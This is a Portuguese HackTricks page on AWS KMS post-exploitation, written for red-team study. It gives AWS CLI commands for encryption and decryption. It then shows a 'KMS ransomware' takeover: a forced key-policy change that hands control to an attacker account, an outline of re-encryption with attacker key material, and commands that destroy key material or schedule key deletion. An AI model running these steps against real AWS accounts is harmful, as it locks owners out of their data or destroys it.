AWS - KMS Pós Exploração
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
KMS
Para mais informações, consulte:
Criptografar/Descriptografar informações
fileb://
e file://
são esquemas URI usados em comandos da AWS CLI para especificar o caminho para arquivos locais:
fileb://:
Lê o arquivo em modo binário, comumente usado para arquivos não-texto.file://:
Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
tip
Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
- Usando uma chave simétrica
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Usando uma chave assimétrica:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Um atacante com acesso privilegiado ao KMS poderia modificar a política do KMS das chaves e conceder acesso à sua conta sobre elas, removendo o acesso concedido à conta legítima.
Assim, os usuários da conta legítima não poderão acessar nenhuma informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware fácil, mas eficaz, sobre a conta.
warning
Note que as chaves gerenciadas pela AWS não são afetadas por este ataque, apenas as chaves gerenciadas pelo cliente.
Também note a necessidade de usar o parâmetro
--bypass-policy-lockout-safety-check
(a falta desta opção na console web torna este ataque possível apenas a partir da CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
caution
Note que se você alterar essa política e der acesso apenas a uma conta externa, e então, a partir dessa conta externa, tentar definir uma nova política para dar o acesso de volta à conta original, você não conseguirá porque a ação Put Policy não pode ser realizada de uma conta cruzada.
.png)
Ransomware Genérico KMS
Ransomware KMS Global
Há outra maneira de realizar um ransomware KMS global, que envolveria os seguintes passos:
- Criar uma nova chave com um material de chave importado pelo atacante
- Recriptografar dados antigos criptografados com a versão anterior com a nova.
- Excluir a chave KMS
- Agora, apenas o atacante, que possui o material de chave original, poderá descriptografar os dados criptografados
Destruir chaves
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
caution
Note que a AWS agora impede que as ações anteriores sejam realizadas de uma conta cruzada:
.png)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.